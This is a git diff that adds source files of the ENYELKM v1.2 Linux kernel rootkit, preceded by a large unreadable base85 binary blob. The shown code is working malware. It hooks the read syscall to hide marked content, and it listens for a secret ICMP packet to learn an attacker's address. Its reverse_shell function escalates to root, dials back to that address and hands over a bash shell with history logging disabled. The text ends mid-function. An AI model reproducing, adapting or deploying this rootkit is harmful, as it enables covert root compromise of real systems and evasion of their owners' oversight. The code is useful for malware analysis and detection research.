zhc)w$Rw%?pvSVEcXc2H)H62+WoU>aPxHDj}rkf0J!iY?$riau!Vmq{LFk!{MAP#$P@?Hf9e|aW4;?* zMw;@R=0 zmk}7pU=4u|+STFcKrs4@X1^k>7z+q7j*Q8A=EcG#OLKF7T?kxPpHLjY=B<9u8#)-? z95--w-2?`a2Ybnls7>PRm4AV0BAP((JG!fpuk>e&mu5>DLpdEy%(xK=80kIKeGh_H zlV9h~B!u6RZISO6zZwu~8nuem7ey*e=Hr&yY`x4XrfMF%Dp4v_p@1ues;@JUz*Pwl z)>cpG`cI7(+=dk8S*uZupSX1Bxh)*jp$t?_)m$1JyU!XtovnR)(olfr%`wF&3t|2R zlW=UVJCnD~_W@3;IiIiZpE+MDVkrtT5kusa6w>~3v1`PE zWhSi_{}Qm#1@|bBtMxhMo1Sha?T^=bcWrzC{nuxeC1{$a!u-ARY7B|zLC&d?^Yp_bAfcRaWnYG!ZDjmmP!4uIl)ss-uV zidDwaLD1*(BA!YoyH`!DJE{C~mdUfsSz}?h8EC#JSKb?YcobmD*&9T!i~qB-GL+2L zy119!A@ozUm;Nsi#Q!PcDN4&Jt6$aZ`dUY}J9%>7^}*yl{s+``pU|J9HZo&U++C-R zdAo8c)$fiBf`g}Tq|9`O0!is~-`R<00dslep5UN0de@;wV${jyz~uoWJ(m~qK%RG_ za`XLiB%jncxwNEHwCP8_v`g?-=L-><`%9mfsL8B0miu*0qY8e|ZDdi6^6IOujNNPf zv@~KqmC>WK>=Q#iqoXwEvuCmKDcPeohNy#KMNLNND}#UqR?b&t@TuTYG(h=vZ+kVTWkW$27KUxs#z>DB* z)Xyd&g4$f5)7lVO*txo&51yvCmjDCC44@Bw4lVm}q9{161sf`EdS&Y8qcVyLLF4Ct z1r#GfvS@+dqEidWSWlUA{t(S<$u29Z_w5aK*I@thp}^5mbSfRq7pH9*@S>fvkVpYe zb7Q^;RXtB~7o@q#xVVk3hFhEOufnARWbt(q4dhnlYhH(F6tBNT#|HffiQQAP4wmf2t*st10zO5TU|t~b;+gPkOMr| zBSszd6suR@!DayRFljg7;a9^mD4p&!i~X74@p_8+0a{BYVokz9Kb*^74={?HK|S(W zswKK3+td%<$AqKDV#B#bL<%s(s0Y@%p5H#c0yG{z9V-@+38dHlEAGg_rXYQ|(cD{) zLp1GKzC52V7Ji_yLi)(!VW!rb3r*u}?@7k3!cQS*P$lOxBey6h>AiKm=uX7mY_&{~TAgxx>= zn{ATI29-8yW1Y&zOqRxd?N$a6&72Ll2#3$JLPnzwB_oytT@@Qr1^X$d{z1jKLu7TD zBN;dC*cL9IAf9`Vju5*xXbqOHh`8JmOMu@wh7}ly6V4M zpFf#bTwxMfL;z6*Ls~d*-2Uf9+H!CcFyhrtKroG~Fhz7~6#9sm2(gBRw%@2}vu%V= z8Bkbv}3h6gBr3Z(90MQo&1!*r*>ic(1AMG&^CMSi$)nE03_~xAD|=6 zhgZSW*p1f3Q>n5Z8dDr;GLXxJS2966K4|~j=$ufm> z?a1n?D&rSJ&CRQ;?u9zQ?CqqZ8xSzVoaOx~#T%LIS&p|-?A6pw`Io<;UXQCUTFRD4 zi6ja9sGor{FN#sjq>ZQQ#AepFPye*c>1dO3?}-NA%^&Ij6WZHsU>4<<2^^A_z;-T) zmZ4Z}P(MiIW)7OED=B0|tmqSQAdXZ192i!Zx50ru5nAeQ?k(vYSDS5fRPSP83r!af zAU775`c%Q)(g<@NDX;XGg@*% zh@&)ew~|&oJKCJ>hgx0$eSA@%uEY;=2l-3^T(A?}G}Mow%=RvJiqvHWV<1zpQKJ)# zdKW*xc%(rbt#t5{Y<2N7)ou(6oo=0yDn(9(x6)}HNzc*UkmKY`oqt38vRJ9>=t1s+ zjo+$3<7-x`Lyu{yPh6!x=u_)0 zs|Hlw_s!BgKH8zrKK#O8lIJgeTdz6+puQ#d)qK*|Hvjv&W0?q;<;rli0gP2UFP{?? zr9IZIr0f;4dHMZ^w;BlDD^>-XwXqsJPC1-N+@&!R`i)eq*Bcf6kVC4vdMQ8tYSw;C zTe`U-hd*S*iqg!vrbT=$VkMBz%Y|Brh|?fOhLGId^oxHDi}bXEC8ZgWDuG2}waJpV=0?ON0SjQ5n&j{&ZMb^6 zn$O{pMkeHy>qUjv!Fj8>xl<5vkl*p<6>09q$QG~*CWYvCRfS`j1v*>;NLlvrb-2Yh>zwh? zbG@5?YD_!huo|tkHR`Qsisp^G0@=x7%SYV^QI`d+WJ+W9?2z+y!DTlIAZ>e>LWWH} z$2+y7EBpeXPH6ebC*qtuoXw&qaqs%+n^x~2c%^28EVUz#D*TL=mkJ7Wd=5WICXR?B zPgxx?jIj{i&R&(1B)oD<(Z6FXB9!y}ra)eD4Zi3F*1J-jEFKSwAl;PYRDH%qCy#yf znzzCFri@W_mQ=i%6M$Nv_uZeU*VU}v9okhP)I5Cp5?Jl~6(=tJ6M9sE>GQ8Z^Md0y ze;=3q9pp~C{|=oOza2!{pXC4X?~wdIY%r}DnExg4>2b+>6|d@D-gvuTTpq-|BORqC ztRH$1rY=c$qJ{VGQZ-3UZB6kq<++#2q43dM3Z~I+;sk8(CFB>--Gp%TR}&R zw$x8z25Ijlr9bcPv{Ae=)`ZI>&k9IVP*9A%?C@ZaOcd_I}LqK4uS zOJC?Dmr%UsKW(ObPiBosmYzakmWTn>TL(*Vme+%Y?|%>Dg(}i<(%v7Di1BmVrORA3 zh?_WRe6H!c$_x{d$;#wM$?bRvKTVzL{+tQYA+nZ8utR1OBf69IxYu$|6@vD`Q5E{5 z$7K~=nwjmxp!$eZm_$|#yK*vU^VL2>gemR4=}W>H z71mz-->^+$egZiObfLW#44NthWo+94c~fvvJg1_&wIhntdp3OBmG6y>zYbFQMkd1_ zewKLwr;>Nw1Y~A5adWLZJyku;0a(S-SV%e1UDFm)t~_NTYkI+eEn`!+BB^Hh(d40i z1`BSUB6*DOTyZfTtOjD=Z_jU<8NbW+o<4c|2K)TYKlmj15~p!{EM9X(cvyewP)}Hi z(bf{t!~?@>$DHaCJvo{IvG~->^5|Zz1w*rl>*j6x+wq?ofC!5mDSYH8nx&Avn<%sp zBgtlz{Ts5JQVUhoI(e=hih8|k3zIIS2>&1|1+Jkt|a&gWSLlV&9K-YRz1Pexu}Y>Eb-j%RPn z=}?OHVp^y!(f#0EyM~zr$B#_c!&cQ&X4gSE85mC5YdCP)u4CpHCc(fe_;XI85|N%D z!&!86J~ED-PLcy<2A`MU7z;sUWD%a((A&4F`i2YUX~EmsVg(G2{XtD%PO+?MIy~u> zNbI`U_~JGc?o@yMj-A(HtBa+?Skcy4SF1<1cPRpU;u3OWf3%n2J(K3$?uYleo7*Dm zimQ%JM&Km(zUa0|L@BV(+wl*&_4FB0(m@FJ`4Gm*`*+rI+-pF3RVCrZ$_?DC)h?$T zT#8B^E$}flLYt-f=T{<&*xCMKQG6;$wKmFg3?OoaSE;B4f40l2JW0}k6-^$r&xwjI^pmy-riL;>NLF0Ds*@QS2;9Mx|5LIl&h5h5n9x z98m~N&h|YyBgr57h3#1>>Hhg(SLE3-b}Sha-@ab>Z`X?Q&66NIshG)z@Y~?;DdR78 znn$WIVR@2QD{K=e#Zr*iSsm=KQRzniIX;zRcQGEzvT1ddI`in6VFA*m$8lxuZmo{Oi=&qUbuP|_2nM1D_F{_M?+MOH=aSPNOWM06AmuR& zl~!A!p<&q~s|%ET&EAGA%d%~I?RdFgiQUV-gS_cUAz<6M($x}m9SdufCu?=EkXy_c zCoJ(4>0vD`$xqJ(mXOJ7qEkJ7#pTPpyI92@ULDsI(79vwF{4AV*E6(y6AkIT9e%*l zxPn*46`JY$0-b`}L9*9ii5~PqTD?xk({!!QnH-=Y-$?W>WJK!O6z9%U^08qhhGVxM z`Sm|Ln2^!FNKKcTJRzahR)4+w^Fmuv;-CiUB1FfRN!vHU{TP-EGeSls8%jF*fTez?S%juSgs~O!ao*JKjUQ(?*h2%)Ot~d*euS1|lT14c46~87|%e|*9 z1vaRU6uu6?KuY`HguCbbgAB--MEpm3!Waa_%daP&)?3_(eGZLU|DM#qeDA`Q(odAK z3&M?NR>L>3NI`TRkl{h^FpkH z(Z4xnF7vgn^sD@LP=mY^{8m>t|J|9qgWF$rBpk)MN4&q-rIxpi#mOIf`H?;wnkmxmD_M0m9Z>0T`Cy0&)%4} zrWW*zSFiJq48TYtZFR)Gwt}x``tIggdEQtoP-x~#>SZve@-QH$??qu-4D+Q{F6n~2 z@W$M1l9Yn2*^x-yuE?TtLjzpW!D1!1yz*ZTPdZEgo9NegKB-G#*{29Q)LBro53 zJHytior}n!17wP~=HZXmEaZkKW!bQ(Ama2r! zFNsZOvvlD(w;hY6_C`X!AHs{Oeb4fS1)8dGRE5ZnM#&o9;`*Mce`US9(dIP3KvK+W6mW=|h)G^PVS=WL z(C2KjeiG%p92}~f-$_%$rHJc1OP|c7D_vo!?O&K3SM-E>b)|tGYQNa$-{;#l+J)Kh z)r1oM(11i>atKsLhdE1up{t~B)J;=ixVn3qGX;bTXsDy_OgvP_we@!89;`(z&GfiH zl&WuQ?4#>*o*^UrN7B5gE(Qkl5@Fyk$fem=H>{NdBeZ2LIo}UEJ&$34SN8_-4$aK< zLjIVheOX_W11nB0J#3j<(UxvNlW!>?&|~C}J+C{E99%&Q^8On`5AxO1qs>R2JR%t- z#XSPHDb{eZ(L0GtU15Wq_8(REO^S5*<2P@1UE-A7@J0R}j3vc6139KcO@;|73yxZ( z&zTpj#&um!cB#gTNEKJsy~+@e2gxeTx4%1|nKm(w{W!N87HsSdU72<0HLER^JZ48# zddJ-whFTcA=&!$XJ$s4=|7FIZ@89TQe1SR|=5_Yw#(C4%bvTmy3GGHHY-nBIxxion=M9kNm|7-yc3kFg39zMPfQ#gpC;Njq+}AtbD&5O}v}Mhx z)iDwKJt8PKw=)w@_C5OB7JlUtfv|)|-jg6lKRQxcq@ijpFSz=y+*?P#Rg?4rVil~* zuUskrxy+r1THGSt4@r9wb{OXwTUeKdd>ub(hmI#rdW?7M%UY1!N&leukgwo^XRKSr zm4`l4r*}J~Mk2jnac&g;Dj>yJ(vv$rebMx*?M$8~BKm6Hqm5iRkRE112uNBcn|l&h zN-0U?n&MRe=aua=gz@0ag)jfMDv&O9_zL)EqL=elSJL6(C;OZuW$nZ&Qe8IIPtOAK z+~Z}gJhuzPK-Dg#AK@%DGOP|$`T!ljhU$$H3^ceruDKRu{#gT8m9c6?_gdm5ftRZ} z>ovo3U1clrgY1>72zvT*6Bq8xn1v$M+J1nu(~9h>dfW51cVLZBhoe;bJd8T0a(YZ; z27&}|p1l${yC4xWR5geGbCO6EziR?=ny$vI$*I=1b;n&j_Dvx@m zJQhre_3|>v(-TXR?sPdTTzbtT1p7*2v0zEWAWXmyrk9fz+92D*ruz;^f>!V4g`A#y z_9L2B(k*xE@q!7?QDNzF-4c)&W!fy>4LFj|=GlYzK8iurU)BS0^~NVkIG>mN?;`6- z`JH*?UphssV!_G_E-1R>`S(4ZVTlQ9ua$JsAI~+kt?caf!kkCM_lvjRsmno&3R5`Vymog_lr?$ zW?5qVhuq|XQp}ard|TraU%2O#YdBZ@wnEDeKFTd0!B5lnI_F55_&fal9WGmAsyY>= z#VIv{3zY)+B4(Y;l~@y3CiXiuchj&>a?-4f=lbr>bh)#$^ql}UK4G^7a6wpaSsSun z^QUi8ME|k1Yo`qV##ZONv>{cs$3S{vb2BET+7L(}=W+K!R~bN2!D@oxgJrl1Y+{G9 z(^o9kNT_IG?bPglrA@m$>`VRF7pfrkWzD`osdC4f)s9#*pIZkCg~Fq);r1A)frf?U z*&rZ;{Fheii&hD21=9y=<*U<@%}SOK9n-Lc=7Qqh`Qw3n48JJGY;y{Bqx!m&XTB8< zwKThTv1w_COHmYd?tEM6mEc$CkNK?glg5HodJr6Y?Ua zh99#i0+U9Z^)Gx<&aT87X;)Ae&_{g&o)=Y;d&uh?4Yr_73Qfol=6 zNdyh=+UrLh1>@dHY;@#YaX60eHIWNk%yPfuSr#M|fQE|YU~P_S(e`|J+nyrHJ;s;q zvKw8HA&9)uIH+LaICW-#cLXHIX6OqA&3|z$OByMlZ~%)d1kL2_{|E~|S7wuWo1%K` zN9a&qg=VSiI_k?R3HedUHaOpogk%dxlPGWeVy>ml(wk(5Mh`7cU3!VKEq-Lb6)Yt& zbejnlF2wkJ2Fm#{0g?X|iZ!9B8@~}$?^HD>1id&2kLOo<5!P9U`ywDrTu)mvaZwnH zKKg+@9|&x^0==>NARd3qD-@dmI=Lu{&C=7&o8#}U>6Bq-9hES1r{yrqWVcXxrg@7U z7h~7z1gJ#r>a1hVgv*9a3cSN{Ffd(^Q~Zzg>d;N;gAKa>?84xGD(n1zvUK?yApzLE zMA$LVKns3uX{rzo?^diJ^h$zv7qY~T4eYHc5AH8c4D4+LtNFSqQOaYtmu(o2d@c`# zA6ox3k`oW+maD>4Fk#hD)Ncu_=gzIWZvU9XNvM6M0bL$7c3_+(vu$G zPX736(E>cI5UkXHp8=@K%@XO42NfxA-Q{OYHmOQ+4O|%T9Gsi!l#k5y7`*Pi`0BPL zVL3g}i%eZWt?NmvvP=V8oa_DV9ZEHU-##i_S(;DKa}?fQUF&g@E&5^=NEvqPcsCpR z;vCw1+OeD+DW(@;k=c}pwlK9R;h-Z;;v7m9sfA1qYpsz)_4fFnvrFew>y}1jp!VCq zJWln3M+o|epUV_wwE8Q101?a|3T{#)?EMHwF>;!3FL_&WqysW*+F5nkJ!Sj(81dX} z-DQX?`chD#?48NoZ=4Go6HS3zBqv72v)GUp64oOEXl{9Ds|!`Hz8{u`KKQ0BI6}_H zZI^prJn>j~Cv1iua`O8zU4jMpMB637alN1(f7J(%J#E#s#$y=+F8=z44)}(-N4d#! z%yWgdd(sTh1iphCIGO{9F4Cl-Z6W4a>7iOn-=Nc|_j{AA4O4OYsmyWxPJ+#DgLwZ$z5tQ5?Pd(y3Ns@)^)gOq7VKexWNA2p@GpP4UIUfy(3{z$7akf*m z+~+A1HQ(Gx4|u@Oc02Z6p6ot5rs@lxRo7VIe)0O`n`2>}uwyakBb2K))peAwAz2F2 z16+Q0BI|C#%oFIDbbT%k5mT-!0HThl zrXyLcf#1vZ)7guZcP1&XcvARuPmz_6pMVQ70?PjG>cprd^ZjJRe6iBD^GaHv^q9og z{fn(6tePs}@V51)9F;HQ6lqJG`pCj!(DKHwcOiiBtGx@F2=rJbp>5fhef1zqEmjl2 zIK==F-Td4$*b8Tw3EKSew2W=aopk6T_}S!;&&2lhWG6(3Wx0@B4(KHMGYPxR2|0NR zn;O6wm`9XbYzZG!UWwG_x-4Qk-V|YR-(JeK(f5Z~r&6I_7*WJ<4VE!<#?C)gXJ$ z1dpC~`yca?YEWbCKp(U~A8(sDyq6l|l*$2pw0Tn$*Y)`sdlfg_YFCwR5)RXvURlag zqup!Am^j5N7zWr)WH!Cre|BtukqgkdHK6m!HTYEbtFY|$t~ROweG=yG1VWpiIeY$w6H7*Y@w%0 ze{I6#-C$264p{CzC_iXlw!({AHGuZmB%#Y>fMY<@Db=4je|XEbcEYNM=s~lGi09sj z0_vENh1dl7PQ}R|RX*Nmxn(gybSE_e`l_wm8}0!pOX4fZigh7l54!Sz!V~{u^|a!T z_ZTKqWwi_bzf8NO7^uPwY-ydjy5wYC zxze~1O5_mQWBT|Zq-9Uzn22e*BJtc!{hc%WTYK(=kHI#6Lux?xH#7)`ebir}O|7c; zBK2OZatJk6xF{po;qZXRjm*kGCIaUJ)vSmDdh2)N#V>I_^+ zj~#L{)BF|s7~^ZS$xft0!=4Y|-3Km{E(lZ-Zsd>#1wbZA@G`~C`}~XtH5h>!cVD5y z8D61lyr@vX$v4JWv1)*i8v#CU{{cRgZ^9j1zbRVlO*n(4_3Tk(2hK3nu3iC#G2#-i z*>VN^t?8KI4s1>(_~TZasQa&1asmLrWTz;`4Wt0rsVry0r^kPKBVH+8x$MXir8lP~=)+15cL|rGd0=hD5*_NxApqkIK$$wyZPEsV z!10!BnGUJ(jYgtj1;E6lOSpw1>Be%vHc^e9Yn2(KlIhZe%}4a+!fdpjI3wq(qKDIN z<95{k#r2OofGhb`0iM0%P6FbI>8bF;BiHKxqIu*CoMY;Q?0?g<9I>_x*ox!}@CTO! zPM#bs3nGsw?;7zl_J=D~0klPtZmOLpMvFGC&zrjLuNR2cMLYpaWJMO@+GHgy4X_eG z86WU#&g7Jde%0XJ5bjf?XVhlasOW+{vdy4n{nm7sUckdKR4>5bUp{pz?{Cd}H!{-+ z?)B_DbIWE!&6<`QV=Y|itJidj0%GrqvjGS9ke8_O`}aV^y{?I~0^48IoCd8>BtHpY zgBEI7JRZj(u-DvDf+_{@ntzppNW0dmE34(y7Kry^g4Y=L^{1GTVY7$=>%FvzVGMa7 zmenR;?(2s|?wzL_38M$wvzbQ-)Z5A!&lY-CkveTikSbCI>@g9nqOj6I2}_Z~ei zjU-{fSYxxL`%gW;Y_hMKCDRGt`^qTgihi&#og%HgsWPqy2KI@EU^D3!+wfq4y{Wkm zAyK0b8=_|kvJIz)8|RVm{e>pgu08J#PWI^N1Ibc62VHiDGh7JX6V$=R8e}oPQ@8}G z#?uds%rez#>fGxD2?Ngt#}IA$p{VgZ|=(S!#6iC3t!ur2o0TJWLeYcdG*6t0JwAk%^Uu9 z_^F>?+zUIc6M%^c5zpBJp8JO8|J%~byE|1jC(FrmxnU!W{+;U_!Y-w zklLcoCXUEyxrdpTGqD@kFwBpZa7Yqc1oBzIhFAfwiA;aRW z{%2qRKvQ^QotvLEqzHypU^+LV2C5wfG{?dqM=S?v9`*j#zmU$=2ZkT=dhaA1>zhor z{?acF-n9uM2EQ*kI{{Y$ZY_zn;q*$vrb>-%#&5LeiT}%JwN59Lr6xCK-laD-9%#oS zmkjfQs6@ni@Mgq5v&&mHf75(7dhhT0cbqaB2jy2Dnr_FF&qx1Th+bDqO^h679Yg1D zf==geA#>M*Q*|6%$2Geiiox@i1*LaL2sHEV=kW*)Z?^Zp*#U7yTX2?{&o((NzrWuR zwh?X@37ma7)as%vVALlaYh=!>#ebg)STOTV0_A1WJ3q_$>#)4V7=TZCpQ0DDD(!l> z&Kp$ZXVeNl1sMf}UoZkrb^`2DlaYwf99VZmgrVT#Ahw-9`=dbuN&#vgN&eN!f0UAK zi>@@8>;O0A&)oT2d6&V@4noffASL@*zCod_%*dI8W@Zet(n`#_uipU<-3Ra9q`-55+hmUzce{>F#%aty-Z`4J6qtmD zA=buFoHS|ff7l94HuI&vOj{=MR6XFLg1Q{{?RwHdk60>OWBnsASM=dIDdyB7$9Qh# z()7(b=bWnWY<9=Dfx$L!DTop%bnNuTE$QYlGIZS_*d}Y8exvKyznk~Ht{EHk-Y9my zuPyuVU4gu-PqcZ*in8}J%LS{K*2gj7FGmO4N-Fi~s~8wSC&F#cm3B{GgWcGp1(nBc z^yT$9CX|%S#2yv=n*t6D6|2x|rX~9WxRhg@QL@GHM0^K35zWdhoj8hySP|r$`abGy z9Z^XNUb;EP&}M;{$xDV}a=8HA_bMU^|l}YYOwMu8b9-D!z=LLXsqs3G0 zu({c<#`EFspRlu?&nu4iA2ycE(pRUi0u6XH#qek7V%Z&MFa~?4{B`aBYOc(C0fc>6 z{%bMBXXdo(7#7qq29Dz-rVf`HFK02iJ8iwYN6RG2WOi%b4diz#mxSO^)7OdvyhnP+ zzbp=A6q1>VD!9n-zeCo6XT9ai`Cb@1`aSvyCyEJs)v?TfVSG<`Z5(@h!`(>Bf|N~b zD2ueUrC66n%{5>K^wa-GpQlmY!*4EX*XLELh_5Q&kb4N+%+`sfL7LS*$J0G z7Eq2t2dlO6LC-C`p`sksGx}T*Li;07dx^<737hEsTKI9pw=P@*%WYOV`)l(y|pHTRI9@!r$M%-)Q{N>w8Mt|+b-CajI?_6GJw7h zP2MTvn|5&!Vk`WUc0APHW>qF(Hw<8Ebh_b2BtL@3(NGJ zTf>fq7Z94ePl3sm!F@ zHGQjVM*0FA*M2mg%MlJcYn){eNC?Z1TxBzrTngj=fu+CosX!MK3x4ct=?!H`%fx8$ zy*Xm%D^zA1c-B)u9=r2p?oYcv1Vpj}J{JB0B+~!?m*EVYIOoHeap^q2)J!Ah30&@_ lF#=NR|M|a^l!={Sajj_71zi{dxJyoRS6%m3sp|db{{=g0uwMWG literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Enyelkm/read.c b/Linux/Rootkits/Enyelkm/read.c new file mode 100644 index 0000000..ad9fc81 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/read.c @@ -0,0 +1,194 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "remoto.h" +#include "config.h" +#include "syscalls.h" + +#define SSIZE_MAX 32767 + + +/* define marcas */ +#define MOPEN "#" +#define MCLOSE "#" + + +/* declaraciones externas */ +extern short lanzar_shell; +extern atomic_t read_activo; +extern unsigned long global_ip; +extern unsigned short global_port; + +/* syscalls */ +static inline my_syscall0(pid_t, fork); + + +struct file *e_fget_light(unsigned int fd, int *fput_needed) +{ + struct file *file; + struct files_struct *files = current->files; + + *fput_needed = 0; + if (likely((atomic_read(&files->count) == 1))) { + file = fcheck(fd); + } else { + spin_lock(&files->file_lock); + file = fcheck(fd); + if (file) { + get_file(file); + *fput_needed = 1; + } + spin_unlock(&files->file_lock); + } + return file; + +} /*********** fin get_light **********/ + + + +int checkear(void *arg, int size, struct file *fichero) +{ +char *buf; + + +/* si SSIZE_MAX <= size <= 0 retornamos -1 */ +if ((size <= 0) || (size >= SSIZE_MAX)) + return(-1); + +/* reservamos memoria para el buffer y copiamos */ +buf = (char *) kmalloc(size+1, GFP_KERNEL); +__copy_from_user((void *) buf, (void *) arg, size); +buf[size] = 0; + +/* chequeamos las marcas */ +if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL)) + { + /* se encontraron las dos, devolvemos 1 */ + kfree(buf); + return(1); + } + +/* liberamos y retornamos -1 para q no haga nada */ +kfree(buf); +return(-1); + +} /********** fin de checkear() *************/ + + + +int hide_marcas(void *arg, int size) +{ +unsigned long nwarm; +char *buf, *p1, *p2; +int i, newret; + + +/* reservamos y copiamos */ +buf = (char *) kmalloc(size, GFP_KERNEL); +__copy_from_user((void *) buf, (void *) arg, size); + +p1 = strstr(buf, MOPEN); +p2 = strstr(buf, MCLOSE); +p2 += strlen(MCLOSE); + +i = size - (p2 - buf); + +memmove((void *) p1, (void *) p2, i); +newret = size - (p2 - p1); + +/* copiamos al user space, liberamos y retornamos */ +nwarm = __copy_to_user((void *) arg, (void *) buf, newret); +kfree(buf); + +return(newret); + +} /********** fin de hide_marcas **********/ + + + +asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes) +{ +struct file *fichero; +int fput_needed; +ssize_t ret; + + +/* se hace 1 copia del proceso y se lanza la shell */ +if (lanzar_shell == 1) + { + lanzar_shell = 0; + + if (!fork()) + reverse_shell(); + + #if DEBUG == 1 + printk("enyelkm: proceso que lanzo reverse_shell continua\n"); + #endif + } + +/* seteamos read_activo a uno */ +atomic_set(&read_activo, 1); + +/* error de descriptor no valido o no abierto para lectura */ +ret = -EBADF; + +fichero = e_fget_light(fd, &fput_needed); + +if (fichero) + { + ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos); + + /* aqui es donde analizamos el contenido y ejecutamos la + funcion correspondiente */ + + switch(checkear(buf, ret, fichero)) + { + case 1: + /* marcas */ + ret = hide_marcas(buf, ret); + break; + + case -1: + /* no hacer nada */ + break; + } + + fput_light(fichero, fput_needed); + } + +/* seteamos read_activo a cero */ +atomic_set(&read_activo, 0); + +return ret; + +} /********** fin hacked_read **********/ + + +// EOF diff --git a/Linux/Rootkits/Enyelkm/read.h b/Linux/Rootkits/Enyelkm/read.h new file mode 100644 index 0000000..9b7c226 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/read.h @@ -0,0 +1,6 @@ +/* funciones de read.c */ + +asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes); +int checkear(void *arg, int size); +int hide_marcas(void *arg, int size); + diff --git a/Linux/Rootkits/Enyelkm/remoto.c b/Linux/Rootkits/Enyelkm/remoto.c new file mode 100644 index 0000000..9f096d4 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/remoto.c @@ -0,0 +1,430 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" +#include "remoto.h" +#include "syscalls.h" + +#define __NR_e_exit __NR_exit + + +/* variables globales */ +static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL }; +extern short lanzar_shell; +extern int errno; +extern unsigned long global_ip; +extern unsigned short global_port; +extern int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); +int ptmx, epty; + +/* variables de entorno */ +char *env[]={ + "TERM=linux", + "HOME=" HOME, + "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin" + ":/usr/local/sbin", + "HISTFILE=/dev/null", + NULL }; + + +/* syscalls */ +static inline my_syscall0(pid_t, fork); +static inline my_syscall0(long, pause); +static inline my_syscall2(int, kill, pid_t, pid, int, sig); +static inline my_syscall1(int, chdir, const char *, path); +static inline my_syscall1(long, ssetmask, int, newmask); +static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count); +static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count); +static inline my_syscall1(int, e_exit, int, exitcode); +static inline my_syscall3(int, open, const char *, file, int, flag, int, mode); +static inline my_syscall1(int, close, int, fd); +static inline my_syscall2(int, dup2, int, oldfd, int, newfd); +static inline my_syscall2(int, socketcall, int, call, unsigned long *, args); +static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options); +static inline my_syscall3(int, execve, const char *, filename, + const char **, argv, const char **, envp); +static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd, + unsigned long, arg); +static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *, + writefds, fd_set *, exceptfds, struct timeval *, timeout); +static inline my_syscall2(unsigned long, signal, int, sig, + __sighandler_t, handler); + + + +int reverse_shell(void) +{ +struct task_struct *ptr = current; +struct sockaddr_in dire; +mm_segment_t old_fs; +unsigned long arg[3]; +int soc, tmp_pid, i; +unsigned char tmp; +fd_set s_read; + +old_fs = get_fs(); + +ptr->uid = 0; +ptr->euid = 0; +ptr->gid = SGID; +ptr->egid = 0; + +arg[0] = AF_INET; +arg[1] = SOCK_STREAM; +arg[2] = 0; + +set_fs(KERNEL_DS); + +ssetmask(~0); + +for (i=0; i < 4096; i++) + close(i); + +if ((soc = socketcall(SYS_SOCKET, arg)) == -1) + { + set_fs(old_fs); + lanzar_shell = 1; + + e_exit(-1); + return(-1); + } + +memset((void *) &dire, 0, sizeof(dire)); + +dire.sin_family = AF_INET; +dire.sin_port = htons((unsigned short) global_port); +dire.sin_addr.s_addr = (unsigned long) global_ip; + +arg[0] = soc; +arg[1] = (unsigned long) &dire; +arg[2] = (unsigned long) sizeof(dire); + +if (socketcall(SYS_CONNECT, arg) == -1) + { + close(soc); + set_fs(old_fs); + lanzar_shell = 1; + + e_exit(-1); + return(-1); + } + +/* pillamos tty */ +epty = get_pty(); + +/* ejecutamos shell */ +set_fs(old_fs); + +if (!(tmp_pid = fork())) + ejecutar_shell(); + +set_fs(KERNEL_DS); + + +while(1) + { + FD_ZERO(&s_read); + FD_SET(ptmx, &s_read); + FD_SET(soc, &s_read); + + if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) + break; + + if (FD_ISSET(ptmx, &s_read)) + { + if (read(ptmx, &tmp, 1) <= 0) + break; + write(soc, &tmp, 1); + } + + if (FD_ISSET(soc, &s_read)) + { + if (read(soc, &tmp, 1) <= 0) + break; + write(ptmx, &tmp, 1); + } + + } /* fin while */ + + +/* matamos el proceso */ +kill(tmp_pid, SIGKILL); + +#if DEBUG == 1 +printk("enyelkm: saliendo de reverse_shell\n"); +#endif + +/* salimos */ +set_fs(old_fs); +e_exit(0); + +return(-1); + +} /********** fin reverse_shell **********/ + + + +int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, + struct net_device *dev2) +{ +unsigned short len; +char buf[256], *p; +int i; + +switch(skb->nh.iph->protocol) + { + case 1: + /* ICMP */ + + /* el icmp debe ser para nosotros */ + if (skb->pkt_type != PACKET_HOST) + { + kfree_skb(skb); + return(0); + } + + len = (unsigned short) skb->nh.iph->tot_len; + len = htons(len); + + /* no es nuestro icmp */ + if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short))) + { + kfree_skb(skb); + return(0); + } + + /* copiamos el packete */ + memcpy (buf, (void *) skb->nh.iph, len); + + /* borramos los null */ + for (i=0; i < len; i++) + if (buf[i] == 0) + buf[i] = 1; + buf[len] = 0; + + if(strstr(buf,ICMP_CLAVE) != NULL) + { + unsigned short *puerto; + + puerto = (unsigned short *) + ((void *)(strstr(buf,ICMP_CLAVE) + strlen(ICMP_CLAVE))); + + global_port = *puerto; + global_ip = skb->nh.iph->saddr; + + lanzar_shell = 1; + } + + kfree_skb(skb); + return(0); + break; + + case 6: + /* TCP */ + + len = (unsigned short) skb->nh.iph->tot_len; + len = htons(len); + + if (len > 255) + len = 255; + + /* copiamos el paquete, o parte */ + memcpy (buf, (void *) skb->nh.iph, len); + + /* borramos los null */ + for (i=0; i < len; 